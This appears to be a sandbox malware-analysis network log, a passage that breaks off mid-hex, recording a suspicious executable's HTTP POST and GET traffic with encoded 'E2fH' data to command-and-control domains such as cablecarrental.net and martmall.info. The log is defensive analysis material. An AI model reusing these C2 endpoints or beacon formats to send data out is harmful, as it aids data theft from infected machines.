Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.11	49998	217.160.0.93	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:51:28.294986963 CET	1809	OUT	POST /etyp/ HTTP/1.1 Host: www.ambaolive.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.ambaolive.info Referer: http://www.ambaolive.info/etyp/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 1233 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 45 32 66 48 3d 4f 70 57 41 38 68 36 73 76 34 61 6a 59 54 38 44 37 68 59 31 62 4e 73 78 4e 4c 6e 76 39 4b 6c 52 38 64 63 41 34 66 4e 50 41 43 57 61 31 73 4a 45 58 49 41 4b 50 48 70 6a 55 63 30 63 38 4a 30 34 7a 54 71 63 30 6b 50 69 76 79 7a 57 36 36 73 44 67 71 74 61 79 57 6b 44 72 44 6e 72 6c 76 46 62 33 51 79 72 71 64 66 52 44 4d 52 63 59 72 38 62 57 78 68 70 59 30 62 64 63 6c 57 79 39 55 62 63 71 43 50 49 56 36 55 55 46 63 5a 56 6f 61 71 47 52 71 4e 69 74 37 73 57 47 79 72 77 69 4f 5a 75 5a 31 34 63 78 62 54 59 4f 6a 32 2b 6c 53 6b 39 74 4b 45 34 4c 4b 6f 53 6a 56 53 70 58 7a 77 34 39 6c 4a 57 39 46 59 4c 54 73 4c 46 65 56 4c 36 35 59 36 4f 44 4f 74 61 4d 53 77 4f 64 65 58 6c 4b 4a 5a 31 73 69 37 34 35 66 59 48 31 7a 66 6d 41 56 70 56 33 41 47 70 6c 65 6e 51 38 45 6d 35 36 4e 6c 54 43 58 54 45 6b 71 57 41 4c 47 36 34 30 56 57 31 47 71 4c 76 4d 57 73 6d 66 35 46 39 4b 6b 4f 6d 6b 64 44 63 4a 62 42 67 5a 35 30 34 79 35 46 48 59 7a 76 66 69 5a 4b 51 50 6a 4a 57 4b 45 66 76 38 5a 39 63 4e 7a 6d 35 30 [TRUNCATED] Data Ascii: E2fH=OpWA8h6sv4ajYT8D7hY1bNsxNLnv9KlR8dcA4fNPACWa1sJEXIAKPHpjUc0c8J04zTqc0kPivyzW66sDgqtayWkDrDnrlvFb3QyrqdfRDMRcYr8bWxhpY0bdclWy9UbcqCPIV6UUFcZVoaqGRqNit7sWGyrwiOZuZ14cxbTYOj2+lSk9tKE4LKoSjVSpXzw49lJW9FYLTsLFeVL65Y6ODOtaMSwOdeXlKJZ1si745fYH1zfmAVpV3AGplenQ8Em56NlTCXTEkqWALG640VW1GqLvMWsmf5F9KkOmkdDcJbBgZ504y5FHYzvfiZKQPjJWKEfv8Z9cNzm50Qnv0GmgMBNkeSimJFVKpH213QHVr/bLIFQ20XfqHWSrshZm3ekmWjNzdmqHA8IyEjka97pV6jID4Wp4Or0RKtCF9cfmxJ84Y7n+Qn36x6ROpr14K3sqIDozCLEJMqjVoSfhgctKNRsHqtdsbuEJdnA9scvoitn+wD1MsR0ONmHZ5EiucLQs6uI/65/o4VBw7Ej1posG3oFlK+PXy3LM+rbFYwr8qDbk/lpGC6MgCCb0g3eg6pc5a5mvbGNS7HuLAjp4CH1GLcmQwHSLwSdEpE1nf2Shi15CPGvLnllF2lfHzum6PF8iIdSlPElOEWvSNBxrxPw+HKDh7Uska1w6ANVXHKFWnKCDDdSkP/k8mN3AlcWXoOPnn6PuIfrBOuGtMtCmbyqGRgkhNA2WU2Lrw7VTwVXDTUYffLj2BoRl0zdsTSm6+pEAMzPF8pRa85aboP5wj/I1dFc7X53rDvVm9rH7sM7eraCsbCgL9Nf2uyJ5atRQ7T7+JLiSkzyFlFs89+BKexLiqJQ1zRXhuDBp2BS23Znjh0WwPUNNNUEcQ8hOQV2XrjMecsgWzat7LFw/EgdAltSHwIDOzE8T1FVP5aVhHRpyYe9tLyNpEhNzYC3OF5GaSdQNjXRdSX94N5EvNCHAEDnAHvRXjI3x+hEg0D+Vxcv+GlSritT [TRUNCATED]
Nov 7, 2024 12:51:29.126329899 CET	580	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Thu, 07 Nov 2024 11:51:28 GMT Server: Apache Content-Encoding: gzip Data Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 [TRUNCATED] Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.11	49999	217.160.0.93	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:51:31.024456024 CET	509	OUT	GET /etyp/?E2fH=Dr+g/XG6jtOqCn8/zR8nTbl4ceO03c9kwfdN6eE3C0ioydwbN70LOWdod/pg9bEI1Vuk9miEvgn19d41gPN4qkUHr1Xbu/t0+A+NutfeDoV3Ubg7JgQWWyg=&wZY4Z=9tG860z8qzo HTTP/1.1 Host: www.ambaolive.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Nov 7, 2024 12:51:31.850416899 CET	770	IN	HTTP/1.1 404 Not Found Content-Type: text/html Content-Length: 626 Connection: close Date: Thu, 07 Nov 2024 11:51:31 GMT Server: Apache Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Error 404 - Not found </title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <meta content="no-cache" http-equiv="cache-control"> </head> <body style="font-family:arial;"> <h1 style="color:#0a328c;font-size:1.0em;"> Error 404 - Not found </h1> <p style="font-size:0.8em;"> Your browser can't find the document corresponding to the URL you typed in. </p> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.11	50000	3.33.130.190	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:51:37.017374992 CET	788	OUT	POST /v4bm/ HTTP/1.1 Host: www.cablecarrental.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.cablecarrental.net Referer: http://www.cablecarrental.net/v4bm/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 201 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 45 32 66 48 3d 5a 70 4b 71 42 62 45 65 6a 58 78 74 39 46 6a 75 55 47 34 74 55 35 6a 54 37 63 6d 42 30 35 76 33 76 57 59 6a 74 77 69 70 34 62 47 62 48 68 43 7a 31 58 35 35 58 36 35 48 73 37 55 41 57 38 65 4c 48 45 33 53 45 56 79 58 37 46 59 57 65 62 7a 56 73 4b 6b 70 57 4c 48 57 30 6b 59 38 48 45 53 34 39 43 71 52 72 46 79 75 45 79 78 2b 55 39 33 51 45 43 73 52 72 58 31 46 6d 74 35 47 61 62 30 77 72 7a 43 6f 4f 75 59 41 67 59 45 6b 78 42 70 4a 67 43 63 77 53 65 68 43 6a 52 41 33 45 45 4f 46 66 45 67 64 5a 62 35 7a 4e 42 78 62 41 55 49 57 49 64 38 4c 79 77 51 6d 6f 49 42 6e 64 56 59 62 39 41 3d 3d Data Ascii: E2fH=ZpKqBbEejXxt9FjuUG4tU5jT7cmB05v3vWYjtwip4bGbHhCz1X55X65Hs7UAW8eLHE3SEVyX7FYWebzVsKkpWLHW0kY8HES49CqRrFyuEyx+U93QECsRrX1Fmt5Gab0wrzCoOuYAgYEkxBpJgCcwSehCjRA3EEOFfEgdZb5zNBxbAUIWId8LywQmoIBndVYb9A==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.11	50001	3.33.130.190	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:51:39.563458920 CET	808	OUT	POST /v4bm/ HTTP/1.1 Host: www.cablecarrental.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.cablecarrental.net Referer: http://www.cablecarrental.net/v4bm/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 221 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 45 32 66 48 3d 5a 70 4b 71 42 62 45 65 6a 58 78 74 39 6c 54 75 53 6c 51 74 53 5a 6a 63 6e 4d 6d 42 2f 5a 76 72 76 58 6b 6a 74 31 50 73 34 70 79 62 65 45 75 7a 30 57 35 35 51 36 35 48 31 4c 56 4c 53 38 65 36 48 45 36 79 45 56 2b 58 37 46 4d 57 65 5a 37 56 73 62 6b 75 4d 37 48 55 68 30 59 36 4a 6b 53 34 39 43 71 52 72 46 4f 45 45 32 64 2b 55 4d 48 51 48 6d 59 51 69 33 31 45 6c 74 35 47 65 62 30 30 72 7a 43 4f 4f 72 35 6c 67 61 4d 6b 78 44 68 4a 68 58 6f 7a 59 65 68 45 38 42 42 46 48 57 66 31 47 55 74 71 53 74 39 5a 44 67 4e 46 49 79 5a 4d 59 2b 31 63 78 6a 59 6b 38 75 67 58 55 6b 39 53 6d 47 67 70 35 75 32 46 4e 45 57 43 2b 32 7a 47 32 70 69 53 44 53 34 3d Data Ascii: E2fH=ZpKqBbEejXxt9lTuSlQtSZjcnMmB/ZvrvXkjt1Ps4pybeEuz0W55Q65H1LVLS8e6HE6yEV+X7FMWeZ7VsbkuM7HUh0Y6JkS49CqRrFOEE2d+UMHQHmYQi31Elt5Geb00rzCOOr5lgaMkxDhJhXozYehE8BBFHWf1GUtqSt9ZDgNFIyZMY+1cxjYk8ugXUk9SmGgp5u2FNEWC+2zG2piSDS4=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.11	50002	3.33.130.190	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:51:42.108146906 CET	1821	OUT	POST /v4bm/ HTTP/1.1 Host: www.cablecarrental.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.cablecarrental.net Referer: http://www.cablecarrental.net/v4bm/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 1233 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 45 32 66 48 3d 5a 70 4b 71 42 62 45 65 6a 58 78 74 39 6c 54 75 53 6c 51 74 53 5a 6a 63 6e 4d 6d 42 2f 5a 76 72 76 58 6b 6a 74 31 50 73 34 70 71 62 65 53 36 7a 30 31 52 35 52 36 35 48 71 37 55 4d 53 38 65 64 48 45 53 2b 45 56 69 74 37 47 30 57 45 38 33 56 37 35 4d 75 5a 72 48 55 6a 30 59 2f 48 45 53 58 39 43 36 64 72 42 75 45 45 32 64 2b 55 50 66 51 54 43 73 51 75 58 31 46 6d 74 35 61 61 62 30 63 72 7a 61 77 4f 72 4e 66 31 36 73 6b 77 6a 52 4a 69 6c 41 7a 65 4f 68 47 2f 42 42 64 48 57 54 71 47 55 78 63 53 74 68 2f 44 67 6c 46 4d 48 73 50 50 2f 52 49 71 44 45 55 2b 38 51 37 4f 6e 31 4e 6f 55 59 54 30 4b 47 51 56 78 43 73 69 58 53 4d 6c 70 4f 35 57 30 33 53 47 63 76 43 7a 71 78 52 41 36 58 6c 62 78 65 53 2f 52 70 38 55 4e 70 67 45 54 6a 7a 7a 64 74 79 78 4e 6d 5a 4f 37 75 4d 37 44 68 6a 50 38 75 32 65 69 7a 58 4e 53 6e 43 54 4e 66 49 42 6a 37 77 75 46 65 71 64 50 4a 42 34 79 77 6f 52 53 44 39 70 58 56 36 54 45 32 5a 77 75 69 59 64 43 30 5a 4e 59 2b 46 37 76 70 4a 63 31 68 59 33 4c 38 7a 5a 2f 56 58 37 [TRUNCATED] Data Ascii: E2fH=ZpKqBbEejXxt9lTuSlQtSZjcnMmB/ZvrvXkjt1Ps4pqbeS6z01R5R65Hq7UMS8edHES+EVit7G0WE83V75MuZrHUj0Y/HESX9C6drBuEE2d+UPfQTCsQuX1Fmt5aab0crzawOrNf16skwjRJilAzeOhG/BBdHWTqGUxcSth/DglFMHsPP/RIqDEU+8Q7On1NoUYT0KGQVxCsiXSMlpO5W03SGcvCzqxRA6XlbxeS/Rp8UNpgETjzzdtyxNmZO7uM7DhjP8u2eizXNSnCTNfIBj7wuFeqdPJB4ywoRSD9pXV6TE2ZwuiYdC0ZNY+F7vpJc1hY3L8zZ/VX7Hep+okYdSWijefIfhKrGWCTlupWLDWkUTXUoGcJlVjr6c8MOM76SI2q70ojwvO5LoK5DdxjVNd8pU0mlqv9Bar4kaPebNR+mFm0K1gYQkCmE/1rCMXBfEjXVp8k3ocqxhgsF2Sw9ciXa2ll2byaQt3ZmlFjCgcFItEWIPanLxB+n2GVY5azND3Qz4s9e1YjeK2EeErAe3i5CjYRG6+TV0RhiH3McYKF3dpMm8iyIWjX1lj1AJl5rHs+v5sEGtbLWaB/SzfQMeDmj2mp8KZK70/7cIhtv7jI/T0Eb1t5OChlXY3pDNdO3pBjNLS2+9JYydn0w/zF/4NmDXsobopDtekDm5j2camVE8F9btFMQdB3x5ubhID1F31ckP7Ny/Rxl2l4oYsQVSeQK2cHHUQQI2njLJkvoPn0j581zRE2/71RPDVtCXFwW+Zf/Kl1BkhgFW/PhFbjf8QB0A8L5WYECqtYyEv3aGjN9BtM4kARbANKM/a+H8GvmZ1T52c3cBGOmhPPHCeKYlalZY9yuGCrfVytuXK5IVG5lbkOzylJoa1rHg05G+VvEdLCVDnWhv4+jUv8wXMRvGmU1QHJTWZCWO750U20ozG5CV9fPSClbeh1eIXdKsC1rf25nVUnJD33qT6vZwydajmf0ZCEBt8CUffnBLGewo8P5JL [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.11	50003	3.33.130.190	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:51:44.646728992 CET	513	OUT	GET /v4bm/?wZY4Z=9tG860z8qzo&E2fH=UriKCs8IuFFR4TTqdn8mW9qn7tWx6P3ZinlzpjDq4fCyKDrZ4VtGTPVHjKcBdcGNOjebK1rv6kMuP7DU57EHU6fRjhM8DXS5/jiGjBePMmJpX4bZbURmjHk= HTTP/1.1 Host: www.cablecarrental.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Nov 7, 2024 12:51:45.288073063 CET	398	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 07 Nov 2024 11:51:45 GMT Content-Type: text/html Content-Length: 258 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 77 5a 59 34 5a 3d 39 74 47 38 36 30 7a 38 71 7a 6f 26 45 32 66 48 3d 55 72 69 4b 43 73 38 49 75 46 46 52 34 54 54 71 64 6e 38 6d 57 39 71 6e 37 74 57 78 36 50 33 5a 69 6e 6c 7a 70 6a 44 71 34 66 43 79 4b 44 72 5a 34 56 74 47 54 50 56 48 6a 4b 63 42 64 63 47 4e 4f 6a 65 62 4b 31 72 76 36 6b 4d 75 50 37 44 55 35 37 45 48 55 36 66 52 6a 68 4d 38 44 58 53 35 2f 6a 69 47 6a 42 65 50 4d 6d 4a 70 58 34 62 5a 62 55 52 6d 6a 48 6b 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?wZY4Z=9tG860z8qzo&E2fH=UriKCs8IuFFR4TTqdn8mW9qn7tWx6P3ZinlzpjDq4fCyKDrZ4VtGTPVHjKcBdcGNOjebK1rv6kMuP7DU57EHU6fRjhM8DXS5/jiGjBePMmJpX4bZbURmjHk="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.11	50004	209.74.64.189	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:51:50.472121954 CET	773	OUT	POST /mnch/ HTTP/1.1 Host: www.martmall.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.martmall.info Referer: http://www.martmall.info/mnch/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 201 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 45 32 66 48 3d 69 2b 70 41 56 70 66 31 52 64 75 46 51 32 47 43 78 64 67 6a 6f 33 41 44 4f 49 4d 65 42 30 5a 61 35 4f 35 50 6c 56 55 65 72 53 48 38 58 4c 6a 6c 47 4b 78 66 74 39 4c 79 2f 37 37 4c 74 66 64 51 44 34 71 66 59 69 6f 6d 52 39 43 35 30 47 48 4f 66 56 4a 4d 36 69 47 31 43 58 68 42 6c 68 46 48 49 56 52 30 4e 43 51 73 77 4c 6f 36 31 33 2f 68 75 4a 33 38 73 64 47 64 79 61 75 6f 51 66 61 65 67 50 2b 4b 30 4d 74 4d 74 55 52 73 52 69 59 55 6f 41 4d 47 52 37 48 74 47 34 65 4a 78 50 44 48 4d 4c 54 4f 75 4c 58 43 36 2f 7a 68 30 32 50 53 69 36 66 56 57 4c 47 33 7a 44 73 7a 64 34 58 55 67 41 3d 3d Data Ascii: E2fH=i+pAVpf1RduFQ2GCxdgjo3ADOIMeB0Za5O5PlVUerSH8XLjlGKxft9Ly/77LtfdQD4qfYiomR9C50GHOfVJM6iG1CXhBlhFHIVR0NCQswLo613/huJ38sdGdyauoQfaegP+K0MtMtURsRiYUoAMGR7HtG4eJxPDHMLTOuLXC6/zh02PSi6fVWLG3zDszd4XUgA==
Nov 7, 2024 12:51:51.065387011 CET	533	IN	HTTP/1.1 404 Not Found Date: Thu, 07 Nov 2024 11:51:50 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.11	50005	209.74.64.189	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:51:53.023386002 CET	793	OUT	POST /mnch/ HTTP/1.1 Host: www.martmall.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.martmall.info Referer: http://www.martmall.info/mnch/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 221 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 45 32 66 48 3d 69 2b 70 41 56 70 66 31 52 64 75 46 57 6d 32 43 2b 63 67 6a 75 58 41 45 54 34 4d 65 50 55 5a 65 35 4f 46 50 6c 55 52 47 71 67 6a 38 58 70 72 6c 48 49 5a 66 75 39 4c 79 30 62 37 4b 77 50 64 62 44 34 75 39 59 6a 55 6d 52 38 69 35 30 45 66 4f 65 69 64 50 6f 69 47 33 4a 33 68 48 37 52 46 48 49 56 52 30 4e 43 45 56 77 4b 4d 36 32 45 6e 68 68 49 33 39 6c 39 47 63 78 61 75 6f 55 66 61 61 67 50 2b 6b 30 4e 42 71 74 52 56 73 52 6a 6f 55 6f 56 67 48 4b 4c 47 6b 5a 6f 66 47 2f 73 6d 56 55 38 69 57 6d 5a 44 79 37 76 76 78 34 51 65 49 79 5a 57 43 56 59 4f 31 6e 6c 4e 44 55 4a 79 64 37 48 6d 32 68 5a 5a 42 78 4a 6d 44 31 6f 48 30 70 44 6d 77 68 66 73 3d Data Ascii: E2fH=i+pAVpf1RduFWm2C+cgjuXAET4MePUZe5OFPlURGqgj8XprlHIZfu9Ly0b7KwPdbD4u9YjUmR8i50EfOeidPoiG3J3hH7RFHIVR0NCEVwKM62EnhhI39l9GcxauoUfaagP+k0NBqtRVsRjoUoVgHKLGkZofG/smVU8iWmZDy7vvx4QeIyZWCVYO1nlNDUJyd7Hm2hZZBxJmD1oH0pDmwhfs=
Nov 7, 2024 12:51:53.689733028 CET	533	IN	HTTP/1.1 404 Not Found Date: Thu, 07 Nov 2024 11:51:53 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 